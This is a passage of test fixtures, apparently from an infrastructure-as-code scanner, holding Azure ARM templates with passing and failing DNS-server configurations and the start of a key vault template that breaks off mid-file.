    "content": "{\n  \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\"\n    },\n    \"osDiskType\": {\n      \"type\": \"string\"\n    },\n    \"addressPrefixes\": {\n      \"type\": \"array\"\n    },\n    \"subnets\": {\n      \"type\": \"array\"\n    },\n    \"virtualNetworkId\": {\n      \"type\": \"string\"\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\"\n    },\n    \"networkSecurityGroups\": {\n      \"type\": \"array\"\n    },\n    \"networkInterfaceConfigurations\": {\n      \"type\": \"array\"\n    },\n    \"vmName\": {\n      \"type\": \"string\"\n    },\n    \"virtualMachineScaleSetName\": {\n      \"type\": \"string\"\n    },\n    \"instanceCount\": {\n      \"type\": \"string\"\n    },\n    \"instanceSize\": {\n      \"type\": \"string\"\n    },\n    \"adminUsername\": {\n      \"type\": \"string\"\n    },\n    \"securityType\": {\n      \"type\": \"string\"\n    },\n    \"secureBoot\": {\n      \"type\": \"bool\"\n    },\n    \"vTPM\": {\n      \"type\": \"bool\"\n    },\n    \"platformFaultDomainCount\": {\n      \"type\": \"string\"\n    }\n  },\n  \"variables\": {\n    \"storageApiVersion\": \"2021-01-01\",\n    \"networkApiVersion\": \"2020-11-01\",\n    \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n    \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n  },\n  \"resources\": [\n    {\n      \"name\": \"fail2\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2022-11-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\"\n            }\n          }\n        ],\n        \"dnsSettings\": {\n          \"dnsServers\": [\n            \"10.7.7.2\"\n          ]\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetSingleDNSServer/fail3.json",
    "content": "{\n  \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\"\n    },\n    \"osDiskType\": {\n      \"type\": \"string\"\n    },\n    \"addressPrefixes\": {\n      \"type\": \"array\"\n    },\n    \"subnets\": {\n      \"type\": \"array\"\n    },\n    \"virtualNetworkId\": {\n      \"type\": \"string\"\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\"\n    },\n    \"networkSecurityGroups\": {\n      \"type\": \"array\"\n    },\n    \"networkInterfaceConfigurations\": {\n      \"type\": \"array\"\n    },\n    \"vmName\": {\n      \"type\": \"string\"\n    },\n    \"virtualMachineScaleSetName\": {\n      \"type\": \"string\"\n    },\n    \"instanceCount\": {\n      \"type\": \"string\"\n    },\n    \"instanceSize\": {\n      \"type\": \"string\"\n    },\n    \"adminUsername\": {\n      \"type\": \"string\"\n    },\n    \"securityType\": {\n      \"type\": \"string\"\n    },\n    \"secureBoot\": {\n      \"type\": \"bool\"\n    },\n    \"vTPM\": {\n      \"type\": \"bool\"\n    },\n    \"platformFaultDomainCount\": {\n      \"type\": \"string\"\n    }\n  },\n  \"variables\": {\n    \"storageApiVersion\": \"2021-01-01\",\n    \"networkApiVersion\": \"2020-11-01\",\n    \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n    \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2023-11-01\",\n      \"name\": \"fail3\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"extendedLocation\": {\n        \"name\": \"string\",\n        \"type\": \"EdgeZone\"\n      },\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"string\"\n          ]\n        },\n        \"bgpCommunities\": {\n          \"virtualNetworkCommunity\": \"string\"\n        },\n        \"ddosProtectionPlan\": {\n          \"id\": \"string\"\n        },\n        \"dhcpOptions\": {\n          \"dnsServers\": [\n            \"10.0.0.4\"\n          ]\n        },\n        \"enableDdosProtection\": \"bool\",\n        \"enableVmProtection\": \"bool\",\n        \"encryption\": {\n          \"enabled\": \"bool\",\n          \"enforcement\": \"string\"\n        },\n        \"flowTimeoutInMinutes\": \"int\",\n        \"ipAllocations\": [\n          {\n            \"id\": \"string\"\n          }\n        ],\n        \"subnets\": [\n          {\n            \"id\": \"string\",\n            \"name\": \"string\",\n            \"properties\": {\n              \"addressPrefix\": \"string\",\n              \"addressPrefixes\": [\n                \"string\"\n              ],\n              \"applicationGatewayIPConfigurations\": [\n                {\n                  \"id\": \"string\",\n                  \"name\": \"string\",\n                  \"properties\": {\n                    \"subnet\": {\n                      \"id\": \"string\"\n                    }\n                  }\n                }\n              ],\n              \"defaultOutboundAccess\": \"bool\",\n              \"delegations\": [\n                {\n                  \"id\": \"string\",\n                  \"name\": \"string\",\n                  \"properties\": {\n                    \"serviceName\": \"string\"\n                  },\n                  \"type\": \"string\"\n                }\n              ],\n              \"ipAllocations\": [\n                {\n                  \"id\": \"string\"\n                }\n              ],\n              \"natGateway\": {\n                \"id\": \"string\"\n              },\n              \"networkSecurityGroup\": {\n                \"id\": \"string\",\n                \"location\": \"string\",\n                \"properties\": {\n                  \"flushConnection\": \"bool\",\n                  \"securityRules\": [\n                    {\n                      \"id\": \"string\",\n                      \"name\": \"string\",\n                      \"properties\": {\n                        \"access\": \"string\",\n                        \"description\": \"string\",\n                        \"destinationAddressPrefix\": \"string\",\n                        \"destinationAddressPrefixes\": [\n                          \"string\"\n                        ],\n                        \"destinationApplicationSecurityGroups\": [\n                          {\n                            \"id\": \"string\",\n                            \"location\": \"string\",\n                            \"properties\": {},\n                            \"tags\": {}\n                          }\n                        ],\n                        \"destinationPortRange\": \"string\",\n                        \"destinationPortRanges\": [\n                          \"string\"\n                        ],\n                        \"direction\": \"string\",\n                        \"priority\": \"int\",\n                        \"protocol\": \"string\",\n                        \"sourceAddressPrefix\": \"string\",\n                        \"sourceAddressPrefixes\": [\n                          \"string\"\n                        ],\n                        \"sourceApplicationSecurityGroups\": [\n                          {\n                            \"id\": \"string\",\n                            \"location\": \"string\",\n                            \"properties\": {},\n                            \"tags\": {}\n                          }\n                        ],\n                        \"sourcePortRange\": \"string\",\n                        \"sourcePortRanges\": [\n                          \"string\"\n                        ]\n                      },\n                      \"type\": \"string\"\n                    }\n                  ]\n                },\n                \"tags\": {}\n              },\n              \"privateEndpointNetworkPolicies\": \"string\",\n              \"privateLinkServiceNetworkPolicies\": \"string\",\n              \"routeTable\": {\n                \"id\": \"string\",\n                \"location\": \"string\",\n                \"properties\": {\n                  \"disableBgpRoutePropagation\": \"bool\",\n                  \"routes\": [\n                    {\n                      \"id\": \"string\",\n                      \"name\": \"string\",\n                      \"properties\": {\n                        \"addressPrefix\": \"string\",\n                        \"hasBgpOverride\": \"bool\",\n                        \"nextHopIpAddress\": \"string\",\n                        \"nextHopType\": \"string\"\n                      },\n                      \"type\": \"string\"\n                    }\n                  ]\n                },\n                \"tags\": {}\n              },\n              \"serviceEndpointPolicies\": [\n                {\n                  \"id\": \"string\",\n                  \"location\": \"string\",\n                  \"properties\": {\n                    \"contextualServiceEndpointPolicies\": [\n                      \"string\"\n                    ],\n                    \"serviceAlias\": \"string\",\n                    \"serviceEndpointPolicyDefinitions\": [\n                      {\n                        \"id\": \"string\",\n                        \"name\": \"string\",\n                        \"properties\": {\n                          \"description\": \"string\",\n                          \"service\": \"string\",\n                          \"serviceResources\": [\n                            \"string\"\n                          ]\n                        },\n                        \"type\": \"string\"\n                      }\n                    ]\n                  },\n                  \"tags\": {}\n                }\n              ],\n              \"serviceEndpoints\": [\n                {\n                  \"locations\": [\n                    \"string\"\n                  ],\n                  \"service\": \"string\"\n                }\n              ],\n              \"sharingScope\": \"string\"\n            },\n            \"type\": \"string\"\n          }\n        ],\n        \"virtualNetworkPeerings\": [\n          {\n            \"id\": \"string\",\n            \"name\": \"string\",\n            \"properties\": {\n              \"allowForwardedTraffic\": \"bool\",\n              \"allowGatewayTransit\": \"bool\",\n              \"allowVirtualNetworkAccess\": \"bool\",\n              \"doNotVerifyRemoteGateways\": \"bool\",\n              \"enableOnlyIPv6Peering\": \"bool\",\n              \"localAddressSpace\": {\n                \"addressPrefixes\": [\n                  \"string\"\n                ]\n              },\n              \"localSubnetNames\": [\n                \"string\"\n              ],\n              \"localVirtualNetworkAddressSpace\": {\n                \"addressPrefixes\": [\n                  \"string\"\n                ]\n              },\n              \"peerCompleteVnets\": \"bool\",\n              \"peeringState\": \"string\",\n              \"peeringSyncLevel\": \"string\",\n              \"remoteAddressSpace\": {\n                \"addressPrefixes\": [\n                  \"string\"\n                ]\n              },\n              \"remoteBgpCommunities\": {\n                \"virtualNetworkCommunity\": \"string\"\n              },\n              \"remoteSubnetNames\": [\n                \"string\"\n              ],\n              \"remoteVirtualNetwork\": {\n                \"id\": \"string\"\n              },\n              \"remoteVirtualNetworkAddressSpace\": {\n                \"addressPrefixes\": [\n                  \"string\"\n                ]\n              },\n              \"useRemoteGateways\": \"bool\"\n            },\n            \"type\": \"string\"\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetSingleDNSServer/pass.json",
    "content": "{\n  \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\"\n    },\n    \"osDiskType\": {\n      \"type\": \"string\"\n    },\n    \"addressPrefixes\": {\n      \"type\": \"array\"\n    },\n    \"subnets\": {\n      \"type\": \"array\"\n    },\n    \"virtualNetworkId\": {\n      \"type\": \"string\"\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\"\n    },\n    \"networkSecurityGroups\": {\n      \"type\": \"array\"\n    },\n    \"networkInterfaceConfigurations\": {\n      \"type\": \"array\"\n    },\n    \"vmName\": {\n      \"type\": \"string\"\n    },\n    \"virtualMachineScaleSetName\": {\n      \"type\": \"string\"\n    },\n    \"instanceCount\": {\n      \"type\": \"string\"\n    },\n    \"instanceSize\": {\n      \"type\": \"string\"\n    },\n    \"adminUsername\": {\n      \"type\": \"string\"\n    },\n    \"securityType\": {\n      \"type\": \"string\"\n    },\n    \"secureBoot\": {\n      \"type\": \"bool\"\n    },\n    \"vTPM\": {\n      \"type\": \"bool\"\n    },\n    \"platformFaultDomainCount\": {\n      \"type\": \"string\"\n    }\n  },\n  \"variables\": {\n    \"storageApiVersion\": \"2021-01-01\",\n    \"networkApiVersion\": \"2020-11-01\",\n    \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n    \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n  },\n  \"resources\": [\n    {\n      \"name\": \"pass\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2022-11-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\"\n            }\n          }\n        ],\n        \"dnsSettings\": {\n          \"dnsServers\": [\n            \"10.0.0.4\",\n            \"10.0.0.5\"\n          ]\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetSingleDNSServer/pass2.json",
    "content": "{\n  \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\"\n    },\n    \"osDiskType\": {\n      \"type\": \"string\"\n    },\n    \"addressPrefixes\": {\n      \"type\": \"array\"\n    },\n    \"subnets\": {\n      \"type\": \"array\"\n    },\n    \"virtualNetworkId\": {\n      \"type\": \"string\"\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\"\n    },\n    \"networkSecurityGroups\": {\n      \"type\": \"array\"\n    },\n    \"networkInterfaceConfigurations\": {\n      \"type\": \"array\"\n    },\n    \"vmName\": {\n      \"type\": \"string\"\n    },\n    \"virtualMachineScaleSetName\": {\n      \"type\": \"string\"\n    },\n    \"instanceCount\": {\n      \"type\": \"string\"\n    },\n    \"instanceSize\": {\n      \"type\": \"string\"\n    },\n    \"adminUsername\": {\n      \"type\": \"string\"\n    },\n    \"securityType\": {\n      \"type\": \"string\"\n    },\n    \"secureBoot\": {\n      \"type\": \"bool\"\n    },\n    \"vTPM\": {\n      \"type\": \"bool\"\n    },\n    \"platformFaultDomainCount\": {\n      \"type\": \"string\"\n    }\n  },\n  \"variables\": {\n    \"storageApiVersion\": \"2021-01-01\",\n    \"networkApiVersion\": \"2020-11-01\",\n    \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n    \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n  },\n  \"resources\": [\n    {\n      \"name\": \"pass2\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2022-11-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\"\n            }\n          }\n        ],\n        \"dnsSettings\": {\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetSingleDNSServer/pass3.json",
    "content": "{\n  \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\"\n    },\n    \"osDiskType\": {\n      \"type\": \"string\"\n    },\n    \"addressPrefixes\": {\n      \"type\": \"array\"\n    },\n    \"subnets\": {\n      \"type\": \"array\"\n    },\n    \"virtualNetworkId\": {\n      \"type\": \"string\"\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\"\n    },\n    \"networkSecurityGroups\": {\n      \"type\": \"array\"\n    },\n    \"networkInterfaceConfigurations\": {\n      \"type\": \"array\"\n    },\n    \"vmName\": {\n      \"type\": \"string\"\n    },\n    \"virtualMachineScaleSetName\": {\n      \"type\": \"string\"\n    },\n    \"instanceCount\": {\n      \"type\": \"string\"\n    },\n    \"instanceSize\": {\n      \"type\": \"string\"\n    },\n    \"adminUsername\": {\n      \"type\": \"string\"\n    },\n    \"securityType\": {\n      \"type\": \"string\"\n    },\n    \"secureBoot\": {\n      \"type\": \"bool\"\n    },\n    \"vTPM\": {\n      \"type\": \"bool\"\n    },\n    \"platformFaultDomainCount\": {\n      \"type\": \"string\"\n    }\n  },\n  \"variables\": {\n    \"storageApiVersion\": \"2021-01-01\",\n    \"networkApiVersion\": \"2020-11-01\",\n    \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n    \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n  },\n  \"resources\": [\n    {\n      \"name\": \"pass3\",\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"apiVersion\": \"2022-11-01\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [],\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig1\",\n            \"properties\": {\n              \"subnet\": {\n                \"id\": \"[variables('subnetRef')]\"\n              },\n              \"privateIPAllocationMethod\": \"Dynamic\"\n            }\n          }\n        ],\n        \"dnsSettings\": {\n          \"dnsServers\": [\n            \"10.7.7.2\",\n            \"10.7.7.7\",\n            \"10.7.7.1\"\n          ]\n        }\n      }\n    }\n  ],\n  \"outputs\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_VnetSingleDNSServer/pass4.json",
    "content": "{\n  \"$schema\": \"http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"location\": {\n      \"type\": \"string\"\n    },\n    \"osDiskType\": {\n      \"type\": \"string\"\n    },\n    \"addressPrefixes\": {\n      \"type\": \"array\"\n    },\n    \"subnets\": {\n      \"type\": \"array\"\n    },\n    \"virtualNetworkId\": {\n      \"type\": \"string\"\n    },\n    \"virtualNetworkName\": {\n      \"type\": \"string\"\n    },\n    \"networkSecurityGroups\": {\n      \"type\": \"array\"\n    },\n    \"networkInterfaceConfigurations\": {\n      \"type\": \"array\"\n    },\n    \"vmName\": {\n      \"type\": \"string\"\n    },\n    \"virtualMachineScaleSetName\": {\n      \"type\": \"string\"\n    },\n    \"instanceCount\": {\n      \"type\": \"string\"\n    },\n    \"instanceSize\": {\n      \"type\": \"string\"\n    },\n    \"adminUsername\": {\n      \"type\": \"string\"\n    },\n    \"securityType\": {\n      \"type\": \"string\"\n    },\n    \"secureBoot\": {\n      \"type\": \"bool\"\n    },\n    \"vTPM\": {\n      \"type\": \"bool\"\n    },\n    \"platformFaultDomainCount\": {\n      \"type\": \"string\"\n    }\n  },\n  \"variables\": {\n    \"storageApiVersion\": \"2021-01-01\",\n    \"networkApiVersion\": \"2020-11-01\",\n    \"virtualMachineScaleSetApiVersion\": \"2023-03-01\",\n    \"namingInfix\": \"[toLower(substring(concat(parameters('virtualMachineScaleSetName'), uniqueString(resourceGroup().id)), 0, 9))]\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"apiVersion\": \"2023-11-01\",\n      \"name\": \"pass4\",\n      \"location\": \"string\",\n      \"tags\": {\n        \"tagName1\": \"tagValue1\",\n        \"tagName2\": \"tagValue2\"\n      },\n      \"extendedLocation\": {\n        \"name\": \"string\",\n        \"type\": \"EdgeZone\"\n      },\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"string\"\n          ]\n        },\n        \"bgpCommunities\": {\n          \"virtualNetworkCommunity\": \"string\"\n        },\n        \"ddosProtectionPlan\": {\n          \"id\": \"string\"\n        },\n        \"dhcpOptions\": {\n          \"dnsServers\": [\n            \"10.7.7.2\",\n            \"10.7.7.7\",\n            \"10.7.7.1\"\n          ]\n        },\n        \"enableDdosProtection\": \"bool\",\n        \"enableVmProtection\": \"bool\",\n        \"encryption\": {\n          \"enabled\": \"bool\",\n          \"enforcement\": \"string\"\n        },\n        \"flowTimeoutInMinutes\": \"int\",\n        \"ipAllocations\": [\n          {\n            \"id\": \"string\"\n          }\n        ],\n        \"subnets\": [\n          {\n            \"id\": \"string\",\n            \"name\": \"string\",\n            \"properties\": {\n              \"addressPrefix\": \"string\",\n              \"addressPrefixes\": [\n                \"string\"\n              ],\n              \"applicationGatewayIPConfigurations\": [\n                {\n                  \"id\": \"string\",\n                  \"name\": \"string\",\n                  \"properties\": {\n                    \"subnet\": {\n                      \"id\": \"string\"\n                    }\n                  }\n                }\n              ],\n              \"defaultOutboundAccess\": \"bool\",\n              \"delegations\": [\n                {\n                  \"id\": \"string\",\n                  \"name\": \"string\",\n                  \"properties\": {\n                    \"serviceName\": \"string\"\n                  },\n                  \"type\": \"string\"\n                }\n              ],\n              \"ipAllocations\": [\n                {\n                  \"id\": \"string\"\n                }\n              ],\n              \"natGateway\": {\n                \"id\": \"string\"\n              },\n              \"networkSecurityGroup\": {\n                \"id\": \"string\",\n                \"location\": \"string\",\n                \"properties\": {\n                  \"flushConnection\": \"bool\",\n                  \"securityRules\": [\n                    {\n                      \"id\": \"string\",\n                      \"name\": \"string\",\n                      \"properties\": {\n                        \"access\": \"string\",\n                        \"description\": \"string\",\n                        \"destinationAddressPrefix\": \"string\",\n                        \"destinationAddressPrefixes\": [\n                          \"string\"\n                        ],\n                        \"destinationApplicationSecurityGroups\": [\n                          {\n                            \"id\": \"string\",\n                            \"location\": \"string\",\n                            \"properties\": {},\n                            \"tags\": {}\n                          }\n                        ],\n                        \"destinationPortRange\": \"string\",\n                        \"destinationPortRanges\": [\n                          \"string\"\n                        ],\n                        \"direction\": \"string\",\n                        \"priority\": \"int\",\n                        \"protocol\": \"string\",\n                        \"sourceAddressPrefix\": \"string\",\n                        \"sourceAddressPrefixes\": [\n                          \"string\"\n                        ],\n                        \"sourceApplicationSecurityGroups\": [\n                          {\n                            \"id\": \"string\",\n                            \"location\": \"string\",\n                            \"properties\": {},\n                            \"tags\": {}\n                          }\n                        ],\n                        \"sourcePortRange\": \"string\",\n                        \"sourcePortRanges\": [\n                          \"string\"\n                        ]\n                      },\n                      \"type\": \"string\"\n                    }\n                  ]\n                },\n                \"tags\": {}\n              },\n              \"privateEndpointNetworkPolicies\": \"string\",\n              \"privateLinkServiceNetworkPolicies\": \"string\",\n              \"routeTable\": {\n                \"id\": \"string\",\n                \"location\": \"string\",\n                \"properties\": {\n                  \"disableBgpRoutePropagation\": \"bool\",\n                  \"routes\": [\n                    {\n                      \"id\": \"string\",\n                      \"name\": \"string\",\n                      \"properties\": {\n                        \"addressPrefix\": \"string\",\n                        \"hasBgpOverride\": \"bool\",\n                        \"nextHopIpAddress\": \"string\",\n                        \"nextHopType\": \"string\"\n                      },\n                      \"type\": \"string\"\n                    }\n                  ]\n                },\n                \"tags\": {}\n              },\n              \"serviceEndpointPolicies\": [\n                {\n                  \"id\": \"string\",\n                  \"location\": \"string\",\n                  \"properties\": {\n                    \"contextualServiceEndpointPolicies\": [\n                      \"string\"\n                    ],\n                    \"serviceAlias\": \"string\",\n                    \"serviceEndpointPolicyDefinitions\": [\n                      {\n                        \"id\": \"string\",\n                        \"name\": \"string\",\n                        \"properties\": {\n                          \"description\": \"string\",\n                          \"service\": \"string\",\n                          \"serviceResources\": [\n                            \"string\"\n                          ]\n                        },\n                        \"type\": \"string\"\n                      }\n                    ]\n                  },\n                  \"tags\": {}\n                }\n              ],\n              \"serviceEndpoints\": [\n                {\n                  \"locations\": [\n                    \"string\"\n                  ],\n                  \"service\": \"string\"\n                }\n              ],\n              \"sharingScope\": \"string\"\n            },\n            \"type\": \"string\"\n          }\n        ],\n        \"virtualNetworkPeerings\": [\n          {\n            \"id\": \"string\",\n            \"name\": \"string\",\n            \"properties\": {\n              \"allowForwardedTraffic\": \"bool\",\n              \"allowGatewayTransit\": \"bool\",\n              \"allowVirtualNetworkAccess\": \"bool\",\n              \"doNotVerifyRemoteGateways\": \"bool\",\n              \"enableOnlyIPv6Peering\": \"bool\",\n              \"localAddressSpace\": {\n                \"addressPrefixes\": [\n                  \"string\"\n                ]\n              },\n              \"localSubnetNames\": [\n                \"string\"\n              ],\n              \"localVirtualNetworkAddressSpace\": {\n                \"addressPrefixes\": [\n                  \"string\"\n                ]\n              },\n              \"peerCompleteVnets\": \"bool\",\n              \"peeringState\": \"string\",\n              \"peeringSyncLevel\": \"string\",\n              \"remoteAddressSpace\": {\n                \"addressPrefixes\": [\n                  \"string\"\n                ]\n              },\n              \"remoteBgpCommunities\": {\n                \"virtualNetworkCommunity\": \"string\"\n              },\n              \"remoteSubnetNames\": [\n                \"string\"\n              ],\n              \"remoteVirtualNetwork\": {\n                \"id\": \"string\"\n              },\n              \"remoteVirtualNetworkAddressSpace\": {\n                \"addressPrefixes\": [\n                  \"string\"\n                ]\n              },\n              \"useRemoteGateways\": \"bool\"\n            },\n            \"type\": \"string\"\n          }\n        ]\n      }\n    }\n  ],\n  \"outputs\": {\n    \"adminUsername\": {\n      \"type\": \"string\",\n      \"value\": \"[parameters('adminUsername')]\"\n    }\n  }\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_WildcardEntities/main.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"keyVaultName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the key vault.\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure location where the key vault should be created.\"\n      }\n    },\n    \"enabledForDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault.\"\n      }\n    },\n    \"enabledForDiskEncryption\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys.\"\n      }\n    },\n    \"enabledForTemplateDeployment\": {\n      \"type\": \"bool\",\n      \"defaultValue\": false,\n      \"allowedValues\": [\n        true,\n        false\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault.\"\n      }\n    },\n    \"tenantId\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[subscription().tenantId]\",\n      \"metadata\": {\n        \"description\": \"Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet.\"\n      }\n    },\n    \"objectId\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets.\"\n      }\n    },\n    \"keysPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"secretsPermissions\": {\n      \"type\": \"array\",\n      \"defaultValue\": [\n        \"list\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge.\"\n      }\n    },\n    \"skuName\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"Standard\",\n      \"allowedValues\": [\n        \"Standard\",\n        \"Premium\"\n      ],\n      \"metadata\": {\n        \"description\": \"Specifies whether the key vault is a standard vault or a premium vault.\"\n      }\n    },\n    \"secretName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Specifies the name of the secret that you want to create.\"\n      }\n    },\n    \"secretValue\": {\n      \"type\": \"securestring\",\n      \"metadata\": {\n        \"description\": \"Specifies the value of the secret that you want to create.\"\n      }\n    }\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.KeyVault/vaults\",\n      \"name\": \"[parameters('keyVaultName')]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"properties\": {\n        \"enabledForDeployment\": \"[parameters('enabledForDeployment')]\",\n        \"enabledForDiskEncryption\": \"[parameters('enabledForDiskEncryption')]\",\n        \"enabledForTemplateDeployment\": \"[parameters('enabledForTemplateDeployment')]\",\n        \"tenantId\": \"[parameters('tenantId')]\",\n        \"accessPolicies\": [\n          {\n            \"objectId\": \"[parameters('objectId')]\",\n            \"tenantId\": \"[parameters('tenantId')]\",\n            \"permissions\": {\n              \"keys\": \"[parameters('keysPermissions')]\",\n              \"secrets\": \"[parameters('secretsPermissions')]\"\n            }\n          }\n        ],\n        \"sku\": {\n          \"name\": \"[parameters('skuName')]\",\n          \"family\": \"A\"\n        },\n        \"networkAcls\": {\n          \"defaultAction\": \"Allow\",\n          \"bypass\": \"AzureServices\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.KeyVault/vaults/secrets\",\n      \"name\": \"[concat(parameters('keyVaultName'), '/', parameters('secretName'))]\",\n      \"apiVersion\": \"2018-02-14\",\n      \"location\": \"[parameters('location')]\",\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]\"\n      ],\n      \"properties\": {\n        \"value\": \"[parameters('secretValue')]\",\n        \"attributes\": {\n          \"enabled\": \"true\",\n          \"exp\": \"1594389505\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Storage/storageAccounts\",\n      \"name\": 